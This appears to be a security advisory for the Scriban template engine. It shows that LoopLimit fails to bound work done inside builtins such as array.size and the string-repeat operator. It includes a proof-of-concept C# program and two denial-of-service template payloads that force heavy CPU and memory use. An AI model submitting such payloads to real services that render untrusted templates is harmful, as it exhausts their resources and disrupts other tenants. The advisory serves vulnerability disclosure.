Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service

Summary

Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.

Details

The relevant code path is:

• ScriptBlockStatement.Evaluate() calls context.CheckAbort() once per statement in src/Scriban/Syntax/Statements/ScriptBlockStatement.cs lines 41–46.
• LoopLimit enforcement is tied to script loop execution via TemplateContext.StepLoop(), not to internal helper iteration.
• array.size in src/Scriban/Functions/ArrayFunctions.cs lines 596–609 calls list.Cast<object>().Count() for non-collection enumerables.
• 1..N creates a ScriptRange from ScriptBinaryExpression.RangeInclude() in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 745–748.
• ScriptRange then yields every element one by one without going through StepLoop() in src/Scriban/Runtime/ScriptRange.cs.

This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.

There is also a related memory-amplification path in string * int:

• ScriptBinaryExpression.CalculateToString() appends in a plain for loop in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 301–334.

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Proof of Concept

Setup

mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using Scriban;

var template = Template.Parse("{{ 1..1000000 | array.size }}");

var context = new TemplateContext
{
    LoopLimit = 1
};

Console.WriteLine(template.Render(context));

Run

dotnet run

Actual Output

1000000

Expected Behavior

A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.

Optional Stronger Variant (Memory Amplification)

using Scriban;

var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
    LoopLimit = 1
};

template.Render(context);

This variant demonstrates that LoopLimit also does not constrain large internal allocation work.

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Impact

This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.

The issue impacts:

• Template-as-a-service systems
• CMS or email rendering systems that accept user templates
• Any multi-tenant use of Scriban with untrusted template content